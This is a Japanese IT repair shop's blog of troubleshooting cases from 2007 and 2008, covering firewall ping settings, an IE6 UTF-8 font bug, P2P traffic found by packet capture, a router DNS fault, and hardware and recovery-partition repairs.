Top > 故障・修理・トラブル・障害

2007年03月27日

ウィルスバスターでpingを許可する

お客さんのパソコンにウィルスバスター2007トレンド フレックス セキュリティをインストールしました。
今まで気がつかなかったのですが、ネットワークの疎通確認でpingをしたところ、リクエスト タイムアウトになってしまうのです。
ウィルスバスターのファイアーウォール機能を無効にするとpingが通るようになったので、2007からは、pingをファイアーウォールでブロックしてるようです。2007以前のバージョンも同じかもしれません。
もちろん、他の機器から、ウィルスバスター2007をインストールしたPCに対するpingもブロックされます。

追記 2007年11月5日
ウィルスバスターのセキュリティーレベルは、プロファイルというもので色分けされています。このプロファイルのうち、「家庭内ネットワーク1」、「社内ネットワーク」、「公衆の無線LANネットワーク」がping(ICMPパケット)をブロックするようです。
ウィルスバスター2007と2008で確認しました。

ping許可方法

  1. ウィルスバスター2007、2008の管理画面を立ち上げます。
  2. 「不正侵入対策/ネットワーク管理」をクリックします。
    現在のプロファイルを確認します。
  3. 設定(S)をクリックします。
  4. 確認したプロファイルをクリックして、編集(I)をクリックします。(ウィルスバスター2008の場合は、プロファイルの変更(P)をクリック後編集(E)をクリックします。)
  5. 例外ルール(プロトコル)タブを開きます。
  6. 追加(D)をクリックします。
  7. 例外ルールの名前をたとえば「ICMP送信」のように変更します。
    方向を送信(G)、アクセス処理を許可(A)、プロトコルタイプをICMPに変更します。
    OK(O)をクリックします。
  8. 以上でpingの送信はできるようになりますが、他の機器からのpingも受け付けられるようにしたほうが、トラブル時には便利です。
    ただし、インターネットに直接つながっている場合は、ブロックしておいたほうが無難です。
    以下、ルータなどでインターネットから保護されている場合にpingを受け付ける場合の設定です。
  9. 追加(D)をクリックします。
  10. 例外ルールの名前をたとえば「ICMP受信」のように変更します。
    方向を受信(N)、アクセス処理を許可(A)、プロトコルタイプをICMPに変更します。
    OK(O)をクリックします。
  11. OK、OKでパーソナルファイアウォール ダイアログを閉じます。
  12. ウィルスバスター2007の管理画面を閉じます。

 

2007年03月29日

単相3線式は平衡率が重要

かなり前の話(夏の頃)ですが、エアコンをフル稼働するとメインブレーカがしょっちゅう飛ぶとのことで、見てほしいと依頼を受けました。

配電盤電力使用状況

この事務所は、単相3線式を引き込んでいました。各ブレーカの電流をクランプメータで測定したところ、エアコンを使ってるブレーカが、容量オーバしていました。しかし、ブレーカが落ちるのは、メインブレーカでしたので、こちらの電流も測定しました。定格50Aのブレーカでしたが、最大でも35A程度。
普通なら、メインブレーカfが落ちることはありません。
しかし、単相3線式の場合、L1(黒)とL2(赤)を流れる電流の比(平衡率という)が40%を超えてると、ブレーカが作動します。
L1が35A。、L2が20Aでしたので(1-20/35)x100=43% となり、ブレーカが飛んでもおかしくないバランスでした。

お客さんに報告して、定格オーバしてるブレーカの負荷の一部をL2のほうに負荷分散する工事をすれば改善しますと報告しました。
事務所の電気工事を昔から手がけているところに依頼するとのことでしたので、報告書をお見せすれば、専門家だからいいようにしてくれるでしょうということでお任せしました。

後日工事完了後見てみると、ブレーカを一個増設してエアコン用にしてありました。そこまではいいとして、メインブレーカも容量の大きいものに変更してありました。
そこまでしなくても十分な容量なのにと思いましたが、あとの祭りですね。

 

2007年08月08日

UTF-8で作成されたHTMLを表示させると、文字の字体がおかしい

まだ、原因を追及中ですが、インターネットで検索しても、それらしいものが引っかからないので、お知らせしておきます。『MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)をインストールするとUTF-8のホームページで字体がおかしくなる現象』をご覧下さい。

先日お客様のところにNEC社ノートパソコンVersa Pro(PC-VY16AEDJMFL1、WindowsXP SP2)を2台ほど納品しました。その後、インターネットエクスプローラ(IE6 SP1)にて、あるページを表示すると、文字の字体が他のパソコンと違い、おかしいとの報告が来ました。

原因を調査し、どういった環境でこの現象が起こるかまで突き止めましたが、機種に依存する問題なのか、追加で導入したアプリケーションのせいなのかまでは、絞り込めていません。
PCをHDDリカバリーすれば、切り分けできるのですが、すでに納品したものですので、そこまで思い切ったこともできません。

ちなみに追加で導入したアプリケーションは、以下のものです。

  • ノートPCに付属のWinDVD
  • 富士通ScanSnapドライバー、付属ソフト
  • Adobe Acrobat8スタンダード
  • ウィルスバスター2007
  • Microsoft Office 2003 パーソナル(プリインストール版)
  • 画像ソフト ViX
  • 圧縮解凍ソフト lhaplus
  • Visual Basic 6 SP6 ランタイム
  • googleツールバー
  • flashプレイヤー
  • Shockwaveプレイヤー
  • プリンタ用ドライバー

2007年11月5日追記
Windows XP professional x64 SP2 OEM版をインストールしたHP社 ML115でも同様な現象が発生しました。
Mozilla Firefoxで表示すると正常です。IEのレンダリングエンジンを使用しているSleipnirなどでは、UTF-8の字体がおかしくなりました。IE6の固有問題ということまで特定できました。

では、具体的にどんな状況にておかしな字体が表示されるかを説明します。

まず、HTMLドキュメントを文字コードUTF-8にて作成します。適当な文章を入力して、スタイルシートにて、フォントの字体を「MS P明朝」にします。
そのHTMLドキュメントをIE6にて表示すると、通常ですと明朝体で表示されるのですが、見たこともない変な字体になるのです。
下2枚のうち左が、Shift_JISで作成して表示したものです。これは正常な字体です。右がUTF-8で作成したものです。

Shift jisで作成すると、意図した字体で表示されます UTF8で作成すると、なぜか字体が変なことに・・・
Shift_JISで作成         UTF-8で作成


HTMLドキュメントは、このような指定になっています。

<style type="text/css">
<!--
.style1 {font-family: "MS Pゴシック"}
.style2 {font-family: "MS UI Gothic"}
.style3 {font-family: "MS ゴシック"}
.style4 {font-family: "MS 明朝"}
.style5 {font-family: "MS P明朝"}
-->
</style>
~省略~
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style1">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style2">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style3">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style4">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p class="style5">テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>
<p>テストあいうえおかきくけこ&nbsp;関数無効可変属性内側横広引数発生実行</p>

スタイルにfont-familyを指定すると、意図した字体ではなくなることが分かります。たとえば、「MS Pゴシック」にすると、なぜかMS UIゴシックで表示されてしまいます。

EUCコードでどうなるかまでは追求していませんが、どんな結果になるのでしょうか。

EUCコードでは、正常に表示されました。UTF-16コードも文字の字体がおかしくなります。

●サンプル

  1. Shift_JISで作成したHTMLドキュメント
  2. UTF-8で作成したHTMLドキュメント
  3. EUC_JPで作成したHTMLドキュメント
  4. UTF-16で作成したHTMLドキュメント
  5. GB2312(簡字体)で作成したHTMLドキュメント

サンプルをクリックしてみて同じような現象がでる方があれば、ぜひコメントお願いします。

 

IT工房にんにく庵関連ページ

 

トラブル対応

2007年10月21日

会社でファイル共有ソフトはバレますよ

P2P型ファイル共有ソフトが原因で社内ネットワークが停滞した事例の紹介です。

長野に本社兼工場があって、東京・大阪・福岡に営業所があるお客さんです。営業所から本社へスター状にインターネットVPNを構築していて、インターネットにはすべてフレッツ等のFTTHで接続しています。

ネットワーク構成 概要

夕方担当の方から電話がありました。今日の昼ぐらいからインターネット接続が極端に遅くなったそうです。営業所から、本社のLANディスクへのアクセスもできない状況とのこと。
本社から同じセグメントのLANディスクには、問題なくアクセスできるそうです。

インターネットへのWeb、メールともに駄目なことから、プロバイダーもしくは、ルータの障害ではないかと、担当の方は話してました。
クライアントPCからルータまでのpingをしてもらったところ、最初の一発目はtime outになったそうですが、2発目からは、返答があるとのこと。
ルータのsyslogをwebブラウザーから見てもらいましたが、syslogを見る画面までたどり着けずにタイムアウトとなってしまいました。
ルータのスローダウンかな?という気がしたので、ルータの電源をOFF/ONしてもらいました。

ルータ起動後、5分程度は、まともに使えていたのですが、その後またまた、インターネットへの接続が極端に遅くなってしまうとのこと。
ルータの再起動を何度かしてみましたが、改善されないようなので、翌日代替えのルータを持ってお伺いすることに。

翌日、朝からの状況を聞いてみましたが、やはり今日も駄目だそうです。
片道2時間のドライブで、お昼に到着。早々ルータの設置してある会議室に。ルータに接続されている親L2スイッチを見て、おかしいなぁと思いました。ルータとA部署のポートのアクティブインジケータが止まることなくチカチカしてました。もちろんルータのLAN・WANともにインジケータがチカチカと。
A部署のどなたかが、ウィルス(あるいはそのたぐい)に感染したか、どでかいファイルのダウンロードをしてるか、ファイル共有の3択です。
このユーザさんは、IPアドレスをすべて固定で割り当てているので、IPアドレスを特定すれば、クライアントも限定できます。
早速ルータと親L2スイッチの間にリピータHubをかまして、持参のノートPCで、パケットキャプチャしました。

Wiresharkのサマリー画面

パケットキャプチャリングソフトは、フリーで定番のWireshark(Ethereal)です。
うわ~、IPアドレス192.168.1.129のパケットだらけです。相手先は20箇所くらい。tcpソースポートとディスティネーションポートともに、ウェルノンポートではないから疑わしきは、ファイル共有ソフトです。
つらつら見ると上位層のプロトコルを判定してくれてます。「Gnutella」だそうで。検索サイトにお伺いをかけたところ、Wikipedia様が1位にヒット。P2P型ファイル共有ソフトだそうです。恥ずかしながら、Gnutellaは、この時初めて知りました。

さて、原因がわかったら、次に探すは、使用者です。IPアドレス割り当て表から、すぐにお名前判明。クライアントPCは、個人持込のmacでした。この使用者さんは厳重注意となりました。公務員だったら減給もんです。

わたし的には、どんなもんをP2Pしてたのかが一番興味のあるところだったんですが、そこは追求しないで終わってしまいました。

 

IT工房にんにく庵関連ページ

 

トラブル対応

2008年02月09日

フルーツネットに接続できません

山梨CTAVが提供しているケーブルテレビ共用型のインターネット接続サービスがフルーツネットです。山梨県山梨市を営業エリアにしています。山梨県は、電波状況が悪くCATVの普及率が高いそうです。また、ADSLは、局舎までの距離が遠いため、使えないかたもかなりいらっしゃいます。FTTH(光)サービスは、まだまだ先です。かといってISDNじゃ最近のホームページは重くてイライラしてしまうような状況です。CATVのインターネット接続サービスは、地方にあって貴重なブロードバンド選択肢です。

WZR-AMPG300NH

WZR-AMPG300NH

お伺いしたお客さんは、フルーツネットのCATV共用型から、FTTHサービス(フルーツネットひかり)に乗り換えたそうです。古い無線LANアクセスポイント一体型ルータから、無線LAN Draft11n対応のルータ(バッファローWZR-AMPG300NH)を購入し、マニュアル通り設定したのですが、ネットに接続できないそうです。フルーツネットのサポートに電話対応してもらったそうですが、解決しないとのこと。

お伺いして聞いてみたところ、IPアドレスのpingまではOKで、FQDNでのpingが駄目だそうです。IPアドレスでのhttp接続も問題ありません。

ルータのステータスを確認したところ、WAN側は、プライベートIPアドレスやDNSサーバを自動取得できていました。

ルータ内蔵のping機能を使用したところ、やはりFQDN名でのpingがエラーになりました。LAN側に接続したパソコンからnslookupコマンドで名前解決すると、タイムアウトになってしまいます。

DNSサーバの障害?と思いましたが、1stDNS(IPアドレス172.30.10.1)と2ndDNS(IPアドレス210.134.92.20)ともに名前解決できませんでした。

古いルータを使うと、全く問題ありません。WZR-AMPG300NHのWAN側でDNSパケットを遮断しているのでないかと推測しました。出て行くパケットか戻ってきたパケットのどちらかが遮断されている可能性があります。

当日、ONUとルータ間のパケットをキャプチャする道具を持ってきていなかったため、この日は退散となりました。

バッファローのサポートにWebから質問してみましたが、「CATVでの確認はとれていて、個別のCATV会社まではサポートできない。」とのことでした。ま、予想通りの回答です。

後日あらためてお伺いし、原因追及しました。

結果的にONUとWZR-AMPG300NH間のネゴシエーションが1000BASE-Tで接続されるとDNSパケットがロスするようです。1000BASE-TのパケットをキャプチャするインテリジェントL2スイッチを持ち合わせていないため、パケットが出てるのかどうかまで確認できませんでした。

パケット解析構成

パケットをキャプチャするために、100BASE-TXタイプのインテリジェントL2スイッチをONUとWZR-AMPG300NHの間にかますと。正常に通信できます。

そこで、ONUとWZR-AMPG300NHの間にノンインテリジェントタイプのL2スイッチ(3,000円程度)をはさんで、強制的にスピードを100Mbpsにしました。

代替え構成

DNSパケットは、レイヤー4です(UDPパケット)。それが、レイヤー2で影響を受けるというのは、何とも不可解な障害でした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年02月19日

マザーボードのコンデンサがパンク

NECのVALUESTAR PC-VT5008Dが起動途中で固まったり、BIOSの画面まで出ないとのこと。知り合いに見てもらったところ、マザーボード上のコンデンサがパンクしているので、交換してほしいという依頼でした。

パンクしたコンデンサ

電解コンデンサの頭が膨らん
でます

プリントパターン

最近のは裸眼だとパターンが
細かくて・・・

交換した電解コンデンサ

お伺いして、マザーボード上の電解コンデンサを確認。確かにぷっくりと腫れていました。アイソレーションのため保守用の電源と交換しましたが、現象は変わりませんでした。やはり、マザーボード上の電解コンデンサがやられているようです。

持ち帰り修理とさせていただき、コンデンサを注文しました。470μF10v、1000μF10v、1500μF6.3vの3つです。電解コンデンサに囲まれるように、MOS-FETが配置されていました。この熱が原因でコンデンサの劣化を早めてしまったんでしょう。明らかに設計ミスです。

注文の翌々日に部品が届きましたので、マザーボードをケースから取り外して、交換しました。マザーボードは、取り外ししやすいようにスライド式になっていました。コンデンサは、1000μFのものが、元のものより太かったのできちんと収まりませんでした。

元に戻して、電源投入。見事復活しました。24時間エージング運転でも異常なしでしたので、納品。

メーカ修理ですと、下手すればマザーボード交換で数万円かかってしまいますが、IT工房にんにく庵でコンデンサの交換程度なら、部品代含め1万円でおつりが来ます。

交換した電解コンデンサ

 

ケースの分解

VALUESTAR_PC-VT5008Dは、スリムタイプのディスクトップPCです。メンテナビリティが良くできているのですが、ケースの建て付けが悪く、かなり力を入れないと外れません。
背面の「かんぬき」をスライドさせてDVDドライブの下の部分を押さえながら、思いっきりずらすと外れます。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年02月24日

パソコンの電源が落ちてしまい使い物にならない

富士通 FMV DESKPOWER CE70K7 ディスクトップPCが起動直後電源が落ちるとのこと。

お伺いして現象を確認。確かに起動直後、モニタが節電モード(スタンバイ)に移行してしまいます。ただし、本体は電源が入っており、CPUファンも元気に回っています。
モニタが節電モードになること=電源が落ちると勘違いしてたようです。それにしても、本体の電源が入っているのに、モニタが節電モードになるというのは、変です。パソコン本体がフリーズしても、モニタに信号が出ていますので、モニタが節電モードに移行することはないのです。パソコン本体は、キーボード操作を受け付けなくなってしまっているようなので、フリーズしてるっぽいです。

本体を開けてみたところ、CPUファン周辺や、電源ファン周辺が綿埃で覆われていました。屋外にてエアーダスターできれいにしたところ、フリーズもしなくなり、快調です。

起動後、CHKDSKが走りましたので、再度/Fオプション付きで確認したところ、フェーズ4のところで固まってしまいました。どうやら頻繁にフリーズしていたために、ディスクのクラスタ障害になってしまったようです。ハードディスクのリカバリと最悪ハードディスクの交換をお勧めしておきました。

 

ヒートシンクが浮いていた

後日、やっぱりまだ、調子が悪いとのことで、HDDのリカバリ依頼がきました。現象を確認してみると、OS起動後しばらく使っていると、例のごとくモニターが省電力モードになります。持ち帰り修理にしました。

にんにく庵にて調べていると、本体に衝撃を加えると間違いなくフリーズします。どの部分が原因か探ると、CPU横のヒートシンクが浮いていました。ノースブリッジかサウスブリッジのLSI用ヒートシンクのようです。
ヒートシンクを取り外し、アルコールにて古い導電材を取り除き、シリコングリスを塗布しました。元のように取り付け、タッピングしても異常がないことを確認。
ハードディスクのリカバリを実施して、納品しました。

数週間後、電話にて調子をお伺いしたところ、良好とのことでした。

綿ぼこりが積もって、CPU周辺が高温になったために、隣のLSI用ヒートシンクの接着が剥がれてしまったんだと思います。この機種は、CPUファンのエアフローが内向きになっていました。外から吸い込んだものをエアーフィルターも通さず直接CPU用ヒートシンクに当ててますので、ホコリが付きやすい構造です。
私がディスクトップをカスタムメイドで作るときは、ケース正面にファンを取り付けて、エアフィルタ経由できょう体内に空気を送り込み、CPUファンで空気を外へ逃がすように作ります。
スリムPCは、熱設計や粉塵対策が難しいですが、もう少し設計段階で考えてもらいたいものです。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年04月02日

MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)をインストールするとUTF-8のホームページで字体がおかしくなる現象

Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)

Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)

KB927489適用後の表示

KB927489適用後の表示

プログラムの追加と削除

プログラムの追加と削除

utf-8で作成されたHTMLを表示させると、文字の字体がおかしい』で未解決でしたが、原因が判明しました。

Windows updateの「追加選択(ソフトウェア)」の一覧に、「Microsoft MS ゴシックおよび MS 明朝 JIS2004 対応フォント (KB927489)」というのがあります。WindowsXPまでは、漢字コード体系がJIS90(1990年版)でしたが、vistaからJIS2004(2004年版)に変更になりました。

出版業界や人名を扱う方々にとっては結構迷惑な改訂でして、同じ漢字コードなのに、表示される字体が変わってしまうのです。「檜山」としても「桧山」になるど困ることも多々あります。

本題に戻りますが、KB927489をインストールしますと、utf-8漢字コードで作成されていて、スタイルシート(CSS)のfont-familyにて、「MS ゴシック」、「MS Pゴシック」、「MS 明朝」、「MS P明朝」などを指定し、インターネットエクスプローラ6(Internet Explorer6、IE6)で表示すると意図しない気持ちの悪い字体となります。

解決方法は、コントロールパネルのプログラムの追加と削除から、「MS ゴシック & MS 明朝 JIS2004 対応フォント(KB927489)」を削除することです。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年04月04日

マイリカバリを起動すると、NTLDR is missingになる

富士通のパソコンは、マイリカバリというソフトが標準バンドルされています。このソフトは、現在のC:ドライブの内容を丸ごと、D:ドライブへイメージファイルとしてバックアップしてくれるものです。Windowsからマイリカバリを起動すると、再起動されて、パーティション2(2番目のパーティション)が起動ドライブとなり、DOSベースのハードディスク(HDD)バックアップソフトが起動されます。D:にバックアップされたディスクイメージをDVD-Rなどに保存しておけば、ハードディスクの物理的障害時も、バックアップ時点の状態に戻せますので、工場出荷状態にリカバリするより、手間が減ります。マイリカバリは、起動ドライブメニューからも立ち上げることができます。

fujitu(富士通)のDESKPOWER LX90T/Dで、マイリカバリの再起動時、NTLDR is missingの表示になるとのことでお伺いしました。

パソコン起動直後にF12キーを押して、起動ドライブ選択メニューから、My Recoveryを選択しても、NTLDR is missingになりましたので、リカバリー領域が壊れている可能性があります。

マイリカバリ領域

 

DESKPOWER LX90T/Dのディスク構成は、パーティション1が、リカバリーイメージ(工場出荷時の状態に戻すためのディスクイメージ格納エリア)、パーティション2が

、マイリカバリ用起動プログラムエリア、パーティション3が、C:ドライブ(WindowsXP)、パーティション4が、D:ドライブです。パーティション1と2は、Windowsから参照できないよう、変わったパーティションIDになっていましたので、1CD linuxにて立ち上げて、中身を見てみました。

確かにntldrは無く、NTDETECT.COMも見あたりません。ちらほらファイルはありますので、ファイルシステムが破損した感じではなく、ファイルが何らかの誤動作で消失してしまったのではないかと思います。

メーカサポートにマイリカバリー起動プログラムの復旧方法を問い合わせしたところ、CD-ROMのリカバリーディスクから、パーティショニングをし直ししたリカバリーをすれば、リカバリー領域まで元に戻してくれるとのこと。

C:、D:ともにかなりのデータがあり、ご自分でカストマイズもしているそうでして、真っ新は勘弁してほしいとの希望でした。そこでHDDを入れ替えし、リカバリーをかけて、マイリカバリープログラム部分のみ元のHDDにコピーすることにしました。

本体を持ち帰りにさせてもらい、HDDを交換して、HDDリカバリーしたところ、マイリカバリ起動部分のパーティションができあがりました。

root@ttyp0[knoppix]# fdisk -l /dev/sda
Disk /dev/sda: 320.0 GB, 320072933376 bytes 
255 heads, 63 sectors/track, 38913 cylinders
Units = シリンダ数 of 16065 * 512 = 8225280 bytes

デバイス   Boot      Start         End      Blocks   Id  System 
/dev/sda1               1         523     4200966   12  Compaq 診断 
/dev/sda2             524         562      313267+  12  Compaq 診断 
/dev/sda3   *         563        4479    31463302+   7  HPFS/NTFS 
/dev/sda4            4480       38913   276591105    7  HPFS/NTFS
root@ttyp0[knoppix]#

320GBのHDDにリカバリー

1CD linuxにてパーテション間コピーをして復旧しました。

root@ttyp0[knoppix]# dd if=/dev/sda2 of=/dev/sdb2 bs=512 conv=noerror,sync

マイリカバリプログラムの中身のtocを以下に掲載しておきます。トラブル時の参考にしてください。

E:\>tree
フォルダ パスの一覧
ボリューム シリアル番号は 000040AE 3004:9272 です
E:.
├─Recorder
└─Recovery
├─EzBackupRescue
└─FJDRV

E:\>dir /s
ドライブ E のボリューム ラベルがありません。
ボリューム シリアル番号は 3004-9272 です

E:\ のディレクトリ

2008/02/03 19:56 31 HibernateTimeRecord.ini
2005/03/29 21:00 47,772 NTDETECT.COM
2005/03/29 21:00 298,096 ntldr
2008/02/03 19:54 <DIR> Recorder
2008/02/03 20:47 <DIR> Recovery
2005/04/18 14:58 178 WINNT.SIF
2006/06/23 16:36 119,566,336 WINPE_NT.ISO
5 個のファイル 119,912,413 バイト

E:\Recorder のディレクトリ

2008/02/03 19:54 <DIR> .
2008/02/03 19:54 <DIR> ..
0 個のファイル 0 バイト

E:\Recovery のディレクトリ

2008/02/03 20:47 <DIR> .
2008/02/03 20:47 <DIR> ..
2006/07/21 20:49 2,382 A.CMD
2006/07/21 20:50 104 ASSIGN.TXT
2006/07/21 20:49 3,301 B.CMD
2006/07/21 20:49 839 C.CMD
2006/07/21 20:51 992 CD2.INI
2005/01/06 15:56 262,144 CHGRES.EXE
2006/07/21 20:49 463 CHKDSK.CMD
2004/11/26 14:05 3,262 CHKDSK.ICO
2005/01/27 20:54 633 CHKDSK.LNK
2006/07/21 20:49 1,105 D.CMD
2006/07/21 20:50 3,606 DEF_MYRECV.INI
2006/07/21 20:50 3,318 DEF_MYRECV_CD_BLANK.INI
2006/07/21 20:50 684 DEF_WRBCHK.INI
2006/07/21 20:51 2,438 DEF_WRCFM.INI
2006/07/21 20:51 1,521 DEF_WREP.INI
2006/07/21 20:51 2,575 DEF_WREULA.INI
2006/07/21 20:51 1,914 DEF_WRMSG.INI
2006/07/21 20:50 1,336 DEF_WRPSIZE.INI
2006/07/21 20:50 4,270 DEF_WRRECV.INI
2006/07/21 20:50 739 DEF_WRSP.INI
2005/03/02 09:30 9 DT.DAT
2006/07/21 20:49 1,845 D_FORMAT.CMD
2006/07/21 20:49 1,533 E.CMD
2006/07/21 20:50 284 EULACANCEL.CMD
2008/02/03 20:47 <DIR> EzBackupRescue
2004/12/01 16:17 3,262 EZBACKUPRESCUE.ICO
2005/06/20 07:27 102,400 EZEXPLR.EXE
2005/06/20 09:17 3,262 EZEXPLR.ico
2005/09/30 11:48 258,048 EZMAINT.EXE
2006/07/21 20:50 6,916 EZMAINT.INI
2003/12/09 21:14 36,864 F3frfjdl.dll
2004/03/24 09:29 294,912 F3FRFJIM.DLL
2004/03/24 10:18 212,992 F3FRFJIR.DLL
2008/02/03 19:26 <DIR> FJDRV
2006/02/09 11:29 104 fmt_c.txt
2006/02/09 11:25 104 fmt_d.txt
2006/07/21 20:49 39 FMT_DEF.CMD
2004/11/05 15:35 3,262 FORMAT_C.ICO
2004/11/05 15:31 3,262 FORMAT_D.ICO
2006/01/11 17:21 45,056 GPNVLIB.DLL
2003/12/19 13:52 217,088 INITBIOSW.EXE
2005/03/02 09:30 7 INSTANT.DAT
2006/07/21 20:50 684 KISHUCHECK.CMD
2005/06/09 14:51 147,456 KJUTY.EXE
2006/07/21 20:50 1,410 KJUTYREAD.CMD
2005/06/15 15:25 3,310 KUKAKU.ICO
2004/11/29 11:00 3,262 MBR.ICO
2006/07/21 20:50 2,571 MKINI.CMD
2006/07/21 20:51 15 MODEL.TXT
2005/06/15 15:25 3,310 MYRECORVER.ICO
2006/02/09 11:29 92 myrecv_ass_c.txt
2006/02/09 11:24 141 one_fmt.txt
2005/08/12 18:40 159,744 PATCHG32.EXE
2005/07/13 18:18 10,036 PE-EULA.TXT
2006/07/21 20:49 1,597 PECOPY.CMD
2006/07/21 20:49 187 PECOPY_ONE.TXT
2006/07/21 20:50 384 PECOPY_ONLY.CMD
2006/07/21 20:49 202 PECOPY_TWIN.TXT
2005/02/14 11:54 18,432 POFF32P.EXE
2005/06/27 09:46 1,531 README.TXT
2005/06/16 17:32 303 README2.TXT
2006/07/21 20:50 70 RECPRE.CMD
2006/07/21 20:50 1,093 RECV_D2.CMD
2006/07/21 20:49 58 REMOVE_W.TXT
2005/02/01 16:45 36,864 SETSVAL.EXE
2006/07/21 20:51 1,048 UPDATE_CD.INI
2006/07/21 20:50 116 UPDATE_CHECK.CMD
2006/06/21 11:19 278,528 WHDCLEAR.EXE
2006/07/21 20:51 1,834 WHDCLEAR.INI
2005/09/02 13:45 170 WHDCLEAR_D.TXT
2005/09/01 13:02 630 WHDCLEAR_E.TXT
2005/09/01 13:01 814 WHDCLEAR_F.TXT
2006/05/23 10:16 211 WHDCLEAR_W.TXT
2004/12/10 15:01 3,262 WINRECV.ICO
2004/12/01 10:12 3,262 WINRECV2.ICO
2005/09/21 11:51 24,576 WRAP.EXE
2006/07/21 20:51 1,914 WRAP.INI
2005/09/21 11:51 24,576 WRBCHK.EXE
2005/09/21 11:51 24,576 WRBG.EXE
2005/09/21 11:51 32,768 WRBKUP.EXE
2006/07/21 20:51 2,902 WRBKUP.INI
2005/09/21 11:51 348,160 WRCFM.EXE
2005/09/21 11:51 28,672 WREP.EXE
2005/09/21 11:51 90,112 WREULA.EXE
2005/09/21 11:51 24,576 WRLWA.EXE
2005/09/21 11:51 24,576 WRMSG.EXE
2006/07/21 20:51 717 WRMSG_A_EMB.INI
2006/07/21 20:51 723 WRMSG_B_EMB.INI
2006/07/21 20:51 641 WRMSG_B_PE.INI
2006/07/21 20:51 510 WRMSG_CD.INI
2006/07/21 20:51 582 WRMSG_CD2.INI
2006/07/21 20:51 427 WRMSG_CD3.INI
2006/07/21 20:51 380 WRMSG_CD4.INI
2006/07/21 20:51 390 WRMSG_ERR_KISHU.INI
2006/07/21 20:51 441 WRMSG_ERR_MKINI.INI
2006/07/21 20:51 440 WRMSG_KISHU.INI
2006/07/21 20:51 799 WRMSG_PE_ONLY.INI
2006/07/21 20:51 301 WRMSG_PROCESS_END.INI
2005/09/21 11:51 28,672 WRPART.EXE
2006/07/21 20:50 1,304 WRPART.INI
2005/06/29 10:57 84 WRPART_C.DAT
2005/10/20 11:03 84 WRPART_C_DT.DAT
2005/06/29 10:57 82 WRPART_C_NM.DAT
2005/06/29 10:58 55 WRPART_D.DAT
2005/09/21 11:51 32,768 WRPSIZE.EXE
2005/09/21 11:51 24,576 WRRCHK.EXE
2006/07/21 20:50 402 WRRCHK.INI
2005/09/21 11:51 32,768 WRRECV.EXE
2006/07/21 20:50 3,087 WRRECV_EMB.INI
2006/07/21 20:50 2,969 WRRECV_SECOND.INI
2005/09/21 11:52 53,248 WRSIMG.EXE
2006/07/21 20:50 2,514 WRSIMG.INI
2005/09/21 11:51 24,576 WRSP.EXE
111 個のファイル 3,012,450 バイト

E:\Recovery\EzBackupRescue のディレクトリ

2008/02/03 20:47 <DIR> .
2008/02/03 20:47 <DIR> ..
2001/01/15 19:52 0 BackupInfo.ini
2002/07/16 08:43 110,592 BKNTUTL.DLL
2003/06/30 16:50 17 EzBackup.Dat
2006/04/19 09:58 1,269,760 EzBackup.exe
2006/06/26 09:03 18,580 EzBackup.ini
2006/04/19 09:59 225,280 EzBData.dll
2005/01/04 18:35 176,128 EzBIni.dll
2006/04/19 09:59 163,840 EzBMKIni.dll
2006/04/19 10:00 262,144 EzBMng.dll
2006/04/19 10:01 138 FMResWXP00.ini
2006/04/24 15:29 6,380 Readme.txt
2006/04/24 10:25 2,965 tips.dat
12 個のファイル 2,235,824 バイト

E:\Recovery\FJDRV のディレクトリ

2008/02/03 19:26 <DIR> .
2008/02/03 19:26 <DIR> ..
2006/01/11 17:21 10,496 FJGPNV.SYS
2006/01/11 17:21 45,056 GPNVLIB.DLL
2002/02/19 16:04 126,976 SETUPDRV.EXE
3 個のファイル 182,528 バイト

ファイルの総数:
131 個のファイル 125,343,215 バイト
12 個のディレクトリ 181,620,736 バイトの空き領域

E:\>

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年07月22日

起動時STOP: 0x00000024にてWindows XPが起動不可

Windowsが起動中再起動されてしまうとのことで、対応しました。

Windows XPの場合、Windowsのシステムエラーが起こると、再起動されるのがデフォルトの設定ですので、なんだか分からないけど、再起動されてしまいます。

パソコンの起動時「F8」キーを連打すると、「Windows拡張オプションメニュー」というのが表示されます。「システム障害時の自動的な再起動を無効にする」を選択しますと、どんなエラーで、再起動されたかが分かる場合が多いです。

今回のケースでは、以下のようなメッセージでした。

A problem has been detected and Windows has been shut down to prevent damage to your computer.

If this is the first time you've seen this stop error screen, restart your computer. If this screen appears again, follow these steps:

Disable or uninstall any anti-virus, disk defragmentation or backup utilities. check your hard drive configuration, and check for any updated drivers. Run CHKDSK /F to check for hard drive corruption, and then restart your computer.

Technical information:

*** STOP: 0x00000024 (0x0019203, 0x823E0CA0, 0xC0000102, 0x00000000)

STOP 0x00000024システムエラーは、NTFSファイルシステムのエラーです。大抵は、ハードディスクドライブの故障が原因です。
Stop 0x24 または NTFS_FILE_SYSTEM エラー メッセージのトラブルシューティング(Microsoftサポートオンライン)

今回の場合、ハードディスクを取り外し、USB外付けディスクとして他のパソコンに取り付けて、CHKDSKにてファイルシステムを修復。Windowsが無事起動できました。ただし、購入後5年以上経過したパソコンで、破損クラスターもあったので、ハードディスクの交換をお勧めしました。

内容費用
ハードディスクドライブ3.5" 320GB 12,000.-
工賃(HDD交換、データ待避、OSリカバリー、アプリケーション再インストール、各種アップデート等 15,000.-
合計 27,000.-

 

Windows拡張オプションメニュー

Windows拡張オプションメニュー

STOP 0x00000024

STOP: 0x00000024

chkdsk /f

